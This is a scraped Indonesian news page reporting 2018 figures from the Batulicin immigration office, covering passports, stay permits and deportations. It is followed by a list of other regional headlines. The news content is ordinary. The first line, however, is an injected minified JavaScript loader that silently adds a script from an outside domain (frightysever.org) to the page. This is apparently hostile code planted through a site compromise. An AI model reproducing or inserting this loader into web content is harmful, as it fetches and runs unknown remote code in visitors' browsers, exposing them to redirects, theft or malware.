(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

2018 Kanim Batulicin Terbitkan 3.995 Paspor, 113 ITK dan 107 ITAS


BANJARBARU, Sepanjang tahun 2018 di Kantor Imigrasi (Kanim) Batulicin terjadi peningkatan pelayanan Keimigrasian bagi WNI yaitu dalam hal penerbitan paspor.

Jika pada tahun 2017 penerbitan paspor adalah sebanyak 3.178, maka pada tahun 2018 menjadi 3.995. Peningkatan ini terjadi sehubungan dengan banyaknya WNI yang melakukan perjalanan ibadah umroh.

Dodi Karnida, Kepala Divisi Keimigrasian Kemenkumham Kalsel mengutip laporan dari Kanim Batulicin untuk pelayanan terhadap Warga Negara Asing (WNA) terdapat pengeluaran Izin Tinggal Kunjungan (ITK) maksimum 6 bulan yaitu tahun 2018 adalah sebanyak 113, sedangkan tahun 2017 sebanyak 146, sehingga terjadi penurunan sebanyak 33 orang.

Sedangkan untuk penerbitan Izin Tinggal Terbatas (ITAS) maksimum 2 tahun telah diterbitkan sebanyak 107 pada tahun 2018 dan 69 pada tahun 2017.

“Khusus untuk Izin Tinggal Tetap (ITAP) seumur hidup, selama tahun 2018 dan 2017 ini jumlahnya tetap yaitu sebanyak 2 orang saja yaitu untuk WN Australia dan WN Philippina yang memiliki isteri WNI. Bagi WN Australia dan WN Philippina ini jika mereka berminat untuk menjadi WNI maka persyaratannya menjadi semakin mudah karena mereka telah memegang ITAP/berstatus Penduduk Tetap,” ujarnya.

Pelayanan keimigrasian di Kanim Batulicin memang relative kecil karena wilayah kerja Kanim Batulicin hanya meliputi 2 kabupaten yaitu Kabupaten Tanah Bumbu dan Kabupaten Kotabaru. Tetapi selain melakukan pelayanan Izin Tinggal bagi WNA dan penerbitan paspor bagi WNI, Kanim Batulicin juga melakukan pemeriksaan Izin Masuk dan Izin Keluar Awak Kapal (Crew) baik WNA maupun WNI di Tempat Pemeriksaan Imigrasi (TPI) Pelabuhan Laut Kotabaru.

“Kapal-kapal ini tentu saja bukan kapal-kapal domestik, melainkan kapal-kapal internasional pengangkut barang ekspor impor,” Lanjutnya

Selain itu, dalam penegakkan hukum keimigrasian, pada tahun 2018, Kanim Batulicin telah melakukan Tindakan Administratif Keimigrasian (TAK) berupa pedeportasian terhadap 7  orang WNA masing-masing 3 orang RRT dan Malaysia serta 1 orang Thailand karena mereka terbukti telah melakukan penyalahgunaan Izin Tinggal. Sehubungan kegiatan yang tidak sesuai dengan Visa Kunjungan yang dimilikinya sepeti berada di suatu tempat kerja. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

40 menit ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

15 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

15 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

16 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

16 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

16 jam ago

This website uses cookies.